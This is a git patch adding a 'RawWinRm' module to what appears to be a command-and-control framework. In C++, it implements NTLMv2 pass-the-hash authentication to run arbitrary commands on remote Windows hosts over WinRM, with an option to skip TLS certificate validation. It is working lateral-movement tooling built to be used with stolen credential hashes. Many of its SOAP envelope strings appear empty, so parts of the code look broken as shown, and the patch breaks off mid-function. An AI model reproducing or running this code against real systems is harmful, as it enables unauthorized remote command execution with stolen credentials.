From c47245f044dad1a8ad45be41f43872ed47625fff Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 14 Nov 2025 09:43:41 +0100 Subject: [PATCH 1/4] Add RawWinRm module with NTLM hash support --- modules/CMakeLists.txt | 1 + modules/RawWinRm/CMakeLists.txt | 22 + modules/RawWinRm/RawWinRm.cpp | 1283 ++++++++++++++++++++++ modules/RawWinRm/RawWinRm.hpp | 36 + modules/RawWinRm/tests/testsRawWinRm.cpp | 58 + 5 files changed, 1400 insertions(+) create mode 100644 modules/RawWinRm/CMakeLists.txt create mode 100644 modules/RawWinRm/RawWinRm.cpp create mode 100644 modules/RawWinRm/RawWinRm.hpp create mode 100644 modules/RawWinRm/tests/testsRawWinRm.cpp diff --git a/modules/CMakeLists.txt b/modules/CMakeLists.txt index 9c203c6..bb784a4 100644 --- a/modules/CMakeLists.txt +++ b/modules/CMakeLists.txt @@ -56,6 +56,7 @@ add_subdirectory(PsExec) add_subdirectory(WmiExec) add_subdirectory(TaskScheduler) add_subdirectory(WinRM) +add_subdirectory(RawWinRm) add_subdirectory(DcomExec) add_subdirectory(CimExec) add_subdirectory(SshExec) diff --git a/modules/RawWinRm/CMakeLists.txt b/modules/RawWinRm/CMakeLists.txt new file mode 100644 index 0000000..899e902 --- /dev/null +++ b/modules/RawWinRm/CMakeLists.txt @@ -0,0 +1,22 @@ +add_library(RawWinRm SHARED RawWinRm.cpp) +set_property(TARGET RawWinRm PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") + +target_link_libraries(RawWinRm PRIVATE ModuleCmd) + +if (WIN32) + target_link_libraries(RawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) +endif() + +add_custom_command(TARGET RawWinRm POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Release/Modules/$") + +if(C2CORE_BUILD_TESTS) + add_executable(testsRawWinRm tests/testsRawWinRm.cpp RawWinRm.cpp) + target_link_libraries(testsRawWinRm PRIVATE ModuleCmd) + if (WIN32) + target_link_libraries(testsRawWinRm PRIVATE winhttp ws2_32 crypt32 ole32 advapi32) + endif() + add_custom_command(TARGET testsRawWinRm POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy + $ "${CMAKE_SOURCE_DIR}/Tests/$") + add_test(NAME testsRawWinRm COMMAND "${CMAKE_SOURCE_DIR}/Tests/$") +endif() diff --git a/modules/RawWinRm/RawWinRm.cpp b/modules/RawWinRm/RawWinRm.cpp new file mode 100644 index 0000000..05a2025 --- /dev/null +++ b/modules/RawWinRm/RawWinRm.cpp @@ -0,0 +1,1283 @@ +#include "RawWinRm.hpp" + +#include "ModuleCmd/Common.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifdef _WIN32 +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "Winhttp.lib") +#pragma comment(lib, "Iphlpapi.lib") +#endif + +using namespace std; + +constexpr std::string_view moduleNameRawWinRm = "rawWinRm"; +constexpr unsigned long long moduleHashRawWinRm = djb2(moduleNameRawWinRm); + +#ifdef _WIN32 +extern "C" __declspec(dllexport) RawWinRm* RawWinRmConstructor() +{ + return new RawWinRm(); +} +#else +extern "C" __attribute__((visibility("default"))) RawWinRm* RawWinRmConstructor() +{ + return new RawWinRm(); +} +#endif + +RawWinRm::RawWinRm() +#ifdef BUILD_TEAMSERVER + : ModuleCmd(std::string(moduleNameRawWinRm), moduleHashRawWinRm) +#else + : ModuleCmd("", moduleHashRawWinRm) +#endif +{ +} + +RawWinRm::~RawWinRm() = default; + +namespace +{ + struct ModuleOptions + { + std::string url; + std::string username; + std::string secret; + bool secretIsHash = true; + std::string command; + bool disableTlsValidation = false; + std::string workstation; + }; + + std::string generateUsage() + { + std::ostringstream oss; + oss << "RawWinRm Module:\n"; + oss << "Execute commands over WinRM using a handcrafted NTLM authentication flow.\n\n"; + oss << "Usage:\n"; + oss << " rawWinRm --hash \n"; + oss << " rawWinRm --password \n"; + oss << "Options:\n"; + oss << " --hash Provide the NTLM hash (LM:NT or NT only).\n"; + oss << " --password Provide a clear-text password; the NT hash is derived locally.\n"; + oss << " --workstation Override workstation value used in NTLM messages.\n"; + oss << " --skip-cert-validation Ignore TLS certificate validation errors.\n"; + return oss.str(); + } + + bool toBool(const std::string& value) + { + return value == "1" || value == "true" || value == "True" || value == "TRUE"; + } + + ModuleOptions parsePackedOptions(const std::string& packed) + { + ModuleOptions opts; + std::vector values; + splitList(packed, "\0", values); + if(values.size() < 5) + { + throw std::runtime_error("Invalid packed message"); + } + opts.url = values[0]; + opts.username = values[1]; + opts.secret = values[2]; + opts.secretIsHash = toBool(values[3]); + opts.disableTlsValidation = toBool(values[4]); + if(values.size() > 5) + { + opts.workstation = values[5]; + } + return opts; + } + + std::string packOptions(const ModuleOptions& opts) + { + std::string packed = opts.url; + packed.push_back('\0'); + packed += opts.username; + packed.push_back('\0'); + packed += opts.secret; + packed.push_back('\0'); + packed += opts.secretIsHash ? "1" : "0"; + packed.push_back('\0'); + packed += opts.disableTlsValidation ? "1" : "0"; + packed.push_back('\0'); + packed += opts.workstation; + return packed; + } + +#ifdef _WIN32 + + std::wstring toWide(const std::string& input) + { + if(input.empty()) + { + return std::wstring(); + } + int size = MultiByteToWideChar(CP_UTF8, 0, input.c_str(), static_cast(input.size()), nullptr, 0); + std::wstring wide(size, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, input.c_str(), static_cast(input.size()), wide.data(), size); + return wide; + } + + std::string toNarrow(const std::wstring& input) + { + if(input.empty()) + { + return std::string(); + } + int size = WideCharToMultiByte(CP_UTF8, 0, input.c_str(), static_cast(input.size()), nullptr, 0, nullptr, nullptr); + std::string output(size, '\0'); + WideCharToMultiByte(CP_UTF8, 0, input.c_str(), static_cast(input.size()), output.data(), size, nullptr, nullptr); + return output; + } + + std::string lowerAscii(const std::string& value) + { + std::string tmp = value; + std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::tolower(ch)); }); + return tmp; + } + + std::string upperAscii(const std::string& value) + { + std::string tmp = value; + std::transform(tmp.begin(), tmp.end(), tmp.begin(), [](unsigned char ch) { return static_cast(std::toupper(ch)); }); + return tmp; + } + + std::vector utf16leFromUtf8(const std::string& text) + { + std::wstring wide = toWide(text); + std::vector buffer(wide.size() * sizeof(wchar_t)); + std::memcpy(buffer.data(), wide.data(), buffer.size()); + return buffer; + } + + struct UrlComponents + { + std::wstring host; + std::wstring path; + INTERNET_PORT port = 5985; + bool useTls = false; + }; + + UrlComponents parseUrl(const std::string& url) + { + URL_COMPONENTS components{}; + components.dwStructSize = sizeof(components); + components.dwSchemeLength = -1; + components.dwHostNameLength = -1; + components.dwUrlPathLength = -1; + components.dwExtraInfoLength = -1; + + std::wstring wideUrl = toWide(url); + if(!WinHttpCrackUrl(wideUrl.c_str(), 0, 0, &components)) + { + throw std::runtime_error("Unable to parse target url"); + } + + UrlComponents result; + if(components.lpszHostName && components.dwHostNameLength) + { + result.host.assign(components.lpszHostName, components.dwHostNameLength); + } + if(components.lpszUrlPath && components.dwUrlPathLength) + { + result.path.assign(components.lpszUrlPath, components.dwUrlPathLength); + } + else + { + result.path = L"/wsman"; + } + if(result.path.empty()) + { + result.path = L"/wsman"; + } + + result.port = components.nPort ? components.nPort : (components.nScheme == INTERNET_SCHEME_HTTPS ? 5986 : 5985); + result.useTls = components.nScheme == INTERNET_SCHEME_HTTPS; + return result; + } + + std::string randomUuid() + { + std::array bytes{}; + HCRYPTPROV prov; + if(CryptAcquireContext(&prov, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) + { + CryptGenRandom(prov, static_cast(bytes.size()), bytes.data()); + CryptReleaseContext(prov, 0); + } + else + { + std::random_device rd; + for(auto& b : bytes) + { + b = static_cast(rd() & 0xFF); + } + } + + bytes[6] = (bytes[6] & 0x0F) | 0x40; + bytes[8] = (bytes[8] & 0x3F) | 0x80; + + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for(size_t i = 0; i < bytes.size(); ++i) + { + oss << std::setw(2) << static_cast(bytes[i]); + if(i == 3 || i == 5 || i == 7 || i == 9) + { + oss << '-'; + } + } + return oss.str(); + } + + class ScopedHandle + { + public: + ScopedHandle() = default; + explicit ScopedHandle(HINTERNET handle) : handle_(handle) {} + ~ScopedHandle() + { + reset(); + } + + ScopedHandle(const ScopedHandle&) = delete; + ScopedHandle& operator=(const ScopedHandle&) = delete; + + ScopedHandle(ScopedHandle&& other) noexcept : handle_(other.handle_) + { + other.handle_ = nullptr; + } + + ScopedHandle& operator=(ScopedHandle&& other) noexcept + { + if(this != &other) + { + reset(); + handle_ = other.handle_; + other.handle_ = nullptr; + } + return *this; + } + + void reset(HINTERNET handle = nullptr) + { + if(handle_) + { + WinHttpCloseHandle(handle_); + } + handle_ = handle; + } + + HINTERNET get() const + { + return handle_; + } + + explicit operator bool() const + { + return handle_ != nullptr; + } + + private: + HINTERNET handle_ = nullptr; + }; + + std::string readResponseBody(HINTERNET request) + { + std::string body; + DWORD available = 0; + while(WinHttpQueryDataAvailable(request, &available) && available) + { + std::string chunk(available, '\0'); + DWORD read = 0; + if(!WinHttpReadData(request, chunk.data(), available, &read)) + { + throw std::runtime_error("Failed to read response body"); + } + chunk.resize(read); + body += chunk; + } + return body; + } + + std::string queryHeaderString(HINTERNET request, DWORD infoLevel) + { + DWORD size = 0; + WinHttpQueryHeaders(request, infoLevel, WINHTTP_HEADER_NAME_BY_INDEX, nullptr, &size, WINHTTP_NO_HEADER_INDEX); + if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + return {}; + } + std::wstring buffer(size / sizeof(wchar_t), L'\0'); + if(!WinHttpQueryHeaders(request, infoLevel, WINHTTP_HEADER_NAME_BY_INDEX, buffer.data(), &size, WINHTTP_NO_HEADER_INDEX)) + { + return {}; + } + return toNarrow(buffer); + } + + std::string extractNtlmChallenge(const std::string& header) + { + std::string lowerHeader = lowerAscii(header); + size_t pos = lowerHeader.find("ntlm "); + if(pos == std::string::npos) + { + return {}; + } + pos += 5; + size_t end = header.find_first_of("\r\n", pos); + if(end == std::string::npos) + { + end = header.size(); + } + return header.substr(pos, end - pos); + } + + std::vector decodeBase64(const std::string& input) + { + std::string decoded = base64_decode(input); + return std::vector(decoded.begin(), decoded.end()); + } + + std::string encodeBase64(const std::vector& input) + { + std::string tmp(reinterpret_cast(input.data()), input.size()); + return base64_encode(tmp); + } + + uint32_t readUint32(const uint8_t* data) + { + return data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24); + } + + uint16_t readUint16(const uint8_t* data) + { + return data[0] | (data[1] << 8); + } + + std::vector hmacMd5(const std::vector& key, const std::vector& message) + { + unsigned int len = 0; + std::vector result(EVP_MAX_MD_SIZE); + unsigned char* out = HMAC(EVP_md5(), key.data(), static_cast(key.size()), message.data(), message.size(), result.data(), &len); + if(out == nullptr) + { + throw std::runtime_error("HMAC-MD5 failed"); + } + result.resize(len); + return result; + } + + std::vector md4Hash(const std::vector& input) + { + std::vector hash(MD4_DIGEST_LENGTH); + MD4(input.data(), input.size(), hash.data()); + return hash; + } + + std::vector parseNtHash(const std::string& value) + { + auto hexToBytes = [](const std::string& hex) { + std::vector data; + if(hex.size() % 2 != 0) + { + throw std::runtime_error("Invalid hash length"); + } + data.reserve(hex.size() / 2); + for(size_t i = 0; i < hex.size(); i += 2) + { + uint8_t byte = static_cast(std::stoi(hex.substr(i, 2), nullptr, 16)); + data.push_back(byte); + } + return data; + }; + + std::string hash = value; + auto pos = hash.find(':'); + if(pos != std::string::npos) + { + hash = hash.substr(pos + 1); + } + if(hash.size() != 32) + { + throw std::runtime_error("Expected a 32-character NT hash"); + } + std::transform(hash.begin(), hash.end(), hash.begin(), [](unsigned char ch) { return static_cast(std::tolower(ch)); }); + return hexToBytes(hash); + } + + std::vector computeNtHashFromPassword(const std::string& password) + { + std::vector unicode = utf16leFromUtf8(password); + return md4Hash(unicode); + } + + struct Type2Info + { + std::array challenge{}; + std::vector targetInfo; + uint32_t flags = 0; + }; + + Type2Info parseType2(const std::string& type2) + { + auto bytes = decodeBase64(type2); + if(bytes.size() < 48) + { + throw std::runtime_error("Type 2 message too short"); + } + Type2Info info; + info.flags = readUint32(bytes.data() + 20); + std::memcpy(info.challenge.data(), bytes.data() + 24, 8); + uint16_t targetInfoLen = readUint16(bytes.data() + 40); + uint32_t targetInfoOffset = readUint32(bytes.data() + 44); + if(targetInfoOffset + targetInfoLen <= bytes.size()) + { + info.targetInfo.assign(bytes.begin() + targetInfoOffset, bytes.begin() + targetInfoOffset + targetInfoLen); + } + return info; + } + + struct NtlmV2Responses + { + std::vector lmResponse; + std::vector ntResponse; + }; + + NtlmV2Responses buildNtlmV2Response(const std::vector& ntHash, + const std::string& username, + const std::string& domain, + const Type2Info& type2) + { + SYSTEMTIME st; + GetSystemTime(&st); + FILETIME ft; + SystemTimeToFileTime(&st, &ft); + ULARGE_INTEGER time{}; + time.LowPart = ft.dwLowDateTime; + time.HighPart = ft.dwHighDateTime; + constexpr ULONGLONG epochDiff = 116444736000000000ULL; + ULONGLONG timestamp = time.QuadPart + epochDiff; + + std::array clientChallenge{}; + HCRYPTPROV prov; + if(CryptAcquireContext(&prov, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) + { + CryptGenRandom(prov, static_cast(clientChallenge.size()), clientChallenge.data()); + CryptReleaseContext(prov, 0); + } + else + { + std::random_device rd; + for(auto& b : clientChallenge) + { + b = static_cast(rd() & 0xFF); + } + } + + std::string identity = upperAscii(username) + domain; + std::vector identityBytes = utf16leFromUtf8(identity); + std::vector ntlmv2Hash = hmacMd5(ntHash, identityBytes); + + std::vector blob; + blob.reserve(32 + type2.targetInfo.size()); + auto append32 = [&blob](uint32_t value) { + blob.push_back(static_cast(value & 0xFF)); + blob.push_back(static_cast((value >> 8) & 0xFF)); + blob.push_back(static_cast((value >> 16) & 0xFF)); + blob.push_back(static_cast((value >> 24) & 0xFF)); + }; + + blob.push_back(0x01); + blob.push_back(0x01); + blob.push_back(0x00); + blob.push_back(0x00); + append32(0); + + ULONGLONG ts = timestamp; + for(int i = 0; i < 8; ++i) + { + blob.push_back(static_cast((ts >> (i * 8)) & 0xFF)); + } + + blob.insert(blob.end(), clientChallenge.begin(), clientChallenge.end()); + append32(0); + blob.insert(blob.end(), type2.targetInfo.begin(), type2.targetInfo.end()); + append32(0); + + std::vector hmacInput; + hmacInput.reserve(8 + blob.size()); + hmacInput.insert(hmacInput.end(), type2.challenge.begin(), type2.challenge.end()); + hmacInput.insert(hmacInput.end(), blob.begin(), blob.end()); + + std::vector ntProof = hmacMd5(ntlmv2Hash, hmacInput); + + std::vector ntResponse(ntProof); + ntResponse.insert(ntResponse.end(), blob.begin(), blob.end()); + + std::vector lmInput; + lmInput.reserve(16); + lmInput.insert(lmInput.end(), type2.challenge.begin(), type2.challenge.end()); + lmInput.insert(lmInput.end(), clientChallenge.begin(), clientChallenge.end()); + std::vector lmHash = hmacMd5(ntlmv2Hash, lmInput); + std::vector lmResponse(lmHash.begin(), lmHash.begin() + 16); + lmResponse.insert(lmResponse.end(), clientChallenge.begin(), clientChallenge.end()); + + return {lmResponse, ntResponse}; + } + + std::vector buildType1Message(const std::string& workstation, const std::string& domain) + { + const uint32_t flags = 0xb207; + std::vector workstationBytes = utf16leFromUtf8(workstation); + std::vector domainBytes = utf16leFromUtf8(domain); + + const size_t headerSize = 32; + size_t payloadSize = workstationBytes.size() + domainBytes.size(); + std::vector message(headerSize + payloadSize, 0); + + std::memcpy(message.data(), "NTLMSSP\0", 8); + message[8] = 1; + + auto writeSecBuf = [&](size_t offset, uint16_t length, uint32_t bufferOffset) { + message[offset] = static_cast(length & 0xFF); + message[offset + 1] = static_cast((length >> 8) & 0xFF); + message[offset + 2] = message[offset]; + message[offset + 3] = message[offset + 1]; + message[offset + 4] = static_cast(bufferOffset & 0xFF); + message[offset + 5] = static_cast((bufferOffset >> 8) & 0xFF); + message[offset + 6] = static_cast((bufferOffset >> 16) & 0xFF); + message[offset + 7] = static_cast((bufferOffset >> 24) & 0xFF); + }; + + size_t payloadOffset = headerSize; + writeSecBuf(16, static_cast(domainBytes.size()), static_cast(payloadOffset)); + std::memcpy(message.data() + payloadOffset, domainBytes.data(), domainBytes.size()); + payloadOffset += domainBytes.size(); + + writeSecBuf(24, static_cast(workstationBytes.size()), static_cast(payloadOffset)); + std::memcpy(message.data() + payloadOffset, workstationBytes.data(), workstationBytes.size()); + + message[12] = static_cast(flags & 0xFF); + message[13] = static_cast((flags >> 8) & 0xFF); + message[14] = static_cast((flags >> 16) & 0xFF); + message[15] = static_cast((flags >> 24) & 0xFF); + + return message; + } + + std::vector buildType3Message(const std::string& username, + const std::string& domain, + const std::string& workstation, + const Type2Info& type2, + const std::vector& ntHash) + { + std::vector usernameBytes = utf16leFromUtf8(username); + std::vector domainBytes = utf16leFromUtf8(domain); + std::vector workstationBytes = utf16leFromUtf8(workstation); + + NtlmV2Responses responses = buildNtlmV2Response(ntHash, username, domain, type2); + std::vector ntResponse = std::move(responses.ntResponse); + std::vector lmResponse = std::move(responses.lmResponse); + + const uint32_t flags = type2.flags | 0x02000000; + const size_t headerSize = 72; + size_t payloadSize = domainBytes.size() + usernameBytes.size() + workstationBytes.size() + lmResponse.size() + ntResponse.size(); + + std::vector message(headerSize + payloadSize, 0); + std::memcpy(message.data(), "NTLMSSP\0", 8); + message[8] = 3; + + auto writeSecBuf = [&](size_t offset, const std::vector& data, size_t& cursor) + { + uint16_t length = static_cast(data.size()); + message[offset] = static_cast(length & 0xFF); + message[offset + 1] = static_cast((length >> 8) & 0xFF); + message[offset + 2] = message[offset]; + message[offset + 3] = message[offset + 1]; + uint32_t pos = static_cast(cursor); + message[offset + 4] = static_cast(pos & 0xFF); + message[offset + 5] = static_cast((pos >> 8) & 0xFF); + message[offset + 6] = static_cast((pos >> 16) & 0xFF); + message[offset + 7] = static_cast((pos >> 24) & 0xFF); + if(!data.empty()) + { + std::memcpy(message.data() + cursor, data.data(), data.size()); + cursor += data.size(); + } + }; + + size_t cursor = headerSize; + writeSecBuf(12, lmResponse, cursor); + writeSecBuf(20, ntResponse, cursor); + writeSecBuf(28, domainBytes, cursor); + writeSecBuf(36, usernameBytes, cursor); + writeSecBuf(44, workstationBytes, cursor); + + writeSecBuf(52, {}, cursor); + + message[60] = static_cast(flags & 0xFF); + message[61] = static_cast((flags >> 8) & 0xFF); + message[62] = static_cast((flags >> 16) & 0xFF); + message[63] = static_cast((flags >> 24) & 0xFF); + + return message; + } + + class RawWinRmHttp + { + public: + RawWinRmHttp(const UrlComponents& url, bool ignoreCert) + { + session_.reset(WinHttpOpen(L"RawWinRm/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)); + if(!session_) + { + throw std::runtime_error("WinHttpOpen failed"); + } + + connect_.reset(WinHttpConnect(session_.get(), url.host.c_str(), url.port, 0)); + if(!connect_) + { + throw std::runtime_error("WinHttpConnect failed"); + } + + path_ = url.path; + useTls_ = url.useTls; + ignoreCert_ = ignoreCert; + } + + std::string post(const std::string& body, const std::string& soapAction, const std::string& username, const std::string& domain, const std::vector& ntHash, const std::string& workstation) + { + std::vector type1 = buildType1Message(workstation, domain); + std::string type1Header = encodeBase64(type1); + + ScopedHandle request; + request.reset(WinHttpOpenRequest(connect_.get(), L"POST", path_.c_str(), nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, + useTls_ ? WINHTTP_FLAG_SECURE : 0)); + if(!request) + { + throw std::runtime_error("WinHttpOpenRequest failed"); + } + + if(useTls_ && ignoreCert_) + { + DWORD flags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; + WinHttpSetOption(request.get(), WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)); + } + + std::ostringstream headers; + headers << "Authorization: NTLM " << type1Header << "\r\n"; + headers << "Connection: Keep-Alive\r\n"; + headers << "Content-Length: 0\r\n"; + + std::wstring wideHeaders = toWide(headers.str()); + if(!WinHttpSendRequest(request.get(), wideHeaders.c_str(), static_cast(-1L), WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) + { + throw std::runtime_error("Failed to send Type1 message"); + } + + if(!WinHttpReceiveResponse(request.get(), nullptr)) + { + throw std::runtime_error("Failed to receive Type2 response"); + } + + std::string authenticateHeader = queryHeaderString(request.get(), WINHTTP_QUERY_WWW_AUTHENTICATE); + std::string type2 = extractNtlmChallenge(authenticateHeader); + if(type2.empty()) + { + throw std::runtime_error("Server did not provide NTLM challenge"); + } + + Type2Info type2Info = parseType2(type2); + std::vector type3 = buildType3Message(username, domain, workstation, type2Info, ntHash); + std::string type3Header = encodeBase64(type3); + + request.reset(WinHttpOpenRequest(connect_.get(), L"POST", path_.c_str(), nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, + useTls_ ? WINHTTP_FLAG_SECURE : 0)); + if(!request) + { + throw std::runtime_error("WinHttpOpenRequest failed (type3)"); + } + + if(useTls_ && ignoreCert_) + { + DWORD flags = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; + WinHttpSetOption(request.get(), WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)); + } + + std::ostringstream requestHeaders; + requestHeaders << "Authorization: NTLM " << type3Header << "\r\n"; + requestHeaders << "Content-Type: application/soap+xml;charset=UTF-8\r\n"; + requestHeaders << "Connection: Keep-Alive\r\n"; + if(!soapAction.empty()) + { + requestHeaders << "SOAPAction: \"" << soapAction << "\"\r\n"; + } + requestHeaders << "Content-Length: " << body.size() << "\r\n"; + + std::wstring wideRequestHeaders = toWide(requestHeaders.str()); + if(!WinHttpSendRequest(request.get(), wideRequestHeaders.c_str(), static_cast(-1L), (LPVOID)body.data(), static_cast(body.size()), static_cast(body.size()), 0)) + { + throw std::runtime_error("Failed to send NTLM authenticated request"); + } + + if(!WinHttpReceiveResponse(request.get(), nullptr)) + { + throw std::runtime_error("Failed to receive WinRM response"); + } + + DWORD status = 0; + DWORD size = sizeof(status); + if(WinHttpQueryHeaders(request.get(), WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, nullptr, &status, &size, WINHTTP_NO_HEADER_INDEX)) + { + if(status >= 400) + { + std::ostringstream oss; + oss << "HTTP error: " << status; + throw std::runtime_error(oss.str()); + } + } + + return readResponseBody(request.get()); + } + + private: + ScopedHandle session_; + ScopedHandle connect_; + std::wstring path_; + bool useTls_ = false; + bool ignoreCert_ = false; + }; + + struct ShellContext + { + std::string shellId; + std::string commandId; + std::string output; + std::string error; + int exitCode = -1; + }; + + std::string buildCreateShellEnvelope(const std::string& url) + { + std::string messageId = randomUuid(); + std::ostringstream oss; + oss << ""; + oss << ""; + oss << ""; + oss << "" << url << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd"; + oss << "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous"; + oss << "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create"; + oss << "153600"; + oss << "urn:uuid:" << messageId << ""; + oss << ""; + oss << "PT60.000S"; + oss << ""; + oss << "FALSE"; + oss << "65001"; + oss << ""; + oss << ""; + oss << ""; + oss << ""; + oss << "stdin"; + oss << "stdout stderr"; + oss << ""; + oss << ""; + oss << ""; + return oss.str(); + } + + std::string buildCommandEnvelope(const std::string& url, const std::string& shellId, const std::string& command) + { + std::string messageId = randomUuid(); + std::string commandXml; + commandXml.reserve(command.size()); + for(char c : command) + { + switch(c) + { + case '&': commandXml += "&"; break; + case '<': commandXml += "<"; break; + case '>': commandXml += ">"; break; + case '\"': commandXml += """; break; + case '\'': commandXml += "'"; break; + default: commandXml += c; break; + } + } + + std::ostringstream oss; + oss << ""; + oss << ""; + oss << ""; + oss << "" << url << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd"; + oss << "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous"; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command"; + oss << "153600"; + oss << "urn:uuid:" << messageId << ""; + oss << ""; + oss << "PT60.000S"; + oss << "" << shellId << ""; + oss << ""; + oss << ""; + oss << ""; + oss << "" << commandXml << ""; + oss << ""; + oss << ""; + oss << ""; + return oss.str(); + } + + std::string buildReceiveEnvelope(const std::string& url, const std::string& shellId, const std::string& commandId) + { + std::string messageId = randomUuid(); + std::ostringstream oss; + oss << ""; + oss << ""; + oss << ""; + oss << "" << url << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd"; + oss << "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous"; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive"; + oss << "153600"; + oss << "urn:uuid:" << messageId << ""; + oss << ""; + oss << "PT60.000S"; + oss << "" << shellId << ""; + oss << ""; + oss << ""; + oss << ""; + oss << "stdout stderr"; + oss << ""; + oss << ""; + oss << ""; + return oss.str(); + } + + std::string buildSignalEnvelope(const std::string& url, const std::string& shellId, const std::string& commandId) + { + std::string messageId = randomUuid(); + std::ostringstream oss; + oss << ""; + oss << ""; + oss << ""; + oss << "" << url << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd"; + oss << "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous"; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Signal"; + oss << "153600"; + oss << "urn:uuid:" << messageId << ""; + oss << ""; + oss << "PT60.000S"; + oss << "" << shellId << ""; + oss << ""; + oss << ""; + oss << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command/Terminate"; + oss << ""; + oss << ""; + oss << ""; + return oss.str(); + } + + std::string buildDeleteEnvelope(const std::string& url, const std::string& shellId) + { + std::string messageId = randomUuid(); + std::ostringstream oss; + oss << ""; + oss << ""; + oss << ""; + oss << "" << url << ""; + oss << "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd"; + oss << "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous"; + oss << "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete"; + oss << "153600"; + oss << "urn:uuid:" << messageId << ""; + oss << ""; + oss << "PT60.000S"; + oss << "" << shellId << ""; + oss << ""; + oss << ""; + oss << ""; + return oss.str(); + } + + std::string findTagValue(const std::string& xml, const std::string& tag) + { + std::string openTag = "<" + tag + ">"; + std::string closeTag = ""; + size_t start = xml.find(openTag); + if(start == std::string::npos) + { + return {}; + } + start += openTag.size(); + size_t end = xml.find(closeTag, start); + if(end == std::string::npos) + { + return {}; + } + return xml.substr(start, end - start); + } + + void parseStreams(const std::string& xml, std::string& stdoutData, std::string& stderrData) + { + std::string search = "', nameEnd); + if(dataStart == std::string::npos) + { + break; + } + ++dataStart; + size_t dataEnd = xml.find("", dataStart); + if(dataEnd == std::string::npos) + { + break; + } + std::string encoded = xml.substr(dataStart, dataEnd - dataStart); + std::string decoded = base64_decode(encoded); + if(name == "stdout") + { + stdoutData += decoded; + } + else if(name == "stderr") + { + stderrData += decoded; + } + pos = xml.find(search, dataEnd); + } + } + + struct CredentialSet + { + std::string username; + std::string domain; + }; + + CredentialSet splitUser(const std::string& fullUser) + { + CredentialSet cred; + auto pos = fullUser.find('\\'); + if(pos != std::string::npos) + { + cred.domain = fullUser.substr(0, pos); + cred.username = fullUser.substr(pos + 1); + } + else + { + cred.username = fullUser; + } + return cred; + } + +#endif +} // namespace + +std::string RawWinRm::getInfo() +{ +#ifdef BUILD_TEAMSERVER + return generateUsage(); +#else + return {}; +#endif +} + +int RawWinRm::init(std::vector& splitedCmd, C2Message& c2Message) +{ +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) || defined(C2CORE_BUILD_TESTS) + if(splitedCmd.size() < 6) + { + c2Message.set_returnvalue(generateUsage()); + return -1; + } + + ModuleOptions opts; + opts.url = splitedCmd[1]; + opts.username = splitedCmd[2]; + + size_t idx = 3; + if(splitedCmd[idx] == "--hash") + { + if(splitedCmd.size() < idx + 2) + { + c2Message.set_returnvalue(generateUsage()); + return -1; + } + opts.secret = splitedCmd[idx + 1]; + opts.secretIsHash = true; + idx += 2; + } + else if(splitedCmd[idx] == "--password") + { + if(splitedCmd.size() < idx + 2) + { + c2Message.set_returnvalue(generateUsage()); + return -1; + } + opts.secret = splitedCmd[idx + 1]; + opts.secretIsHash = false; + idx += 2; + } + else + { + opts.secret = splitedCmd[idx]; + opts.secretIsHash = true; + ++idx; + } + + while(idx < splitedCmd.size()) + { + if(splitedCmd[idx] == "--skip-cert-validation") + { + opts.disableTlsValidation = true; + ++idx; + } + else if(splitedCmd[idx] == "--workstation" && idx + 1 < splitedCmd.size()) + { + opts.workstation = splitedCmd[idx + 1]; + idx += 2; + } + else + { + break; + } + } + + if(idx >= splitedCmd.size()) + { + c2Message.set_returnvalue(generateUsage()); + return -1; + } + + std::ostringstream cmd; + for(size_t i = idx; i < splitedCmd.size(); ++i) + { + if(i > idx) + { + cmd << ' '; + } + cmd << splitedCmd[i]; + } + opts.command = cmd.str(); + + c2Message.set_instruction(splitedCmd[0]); + 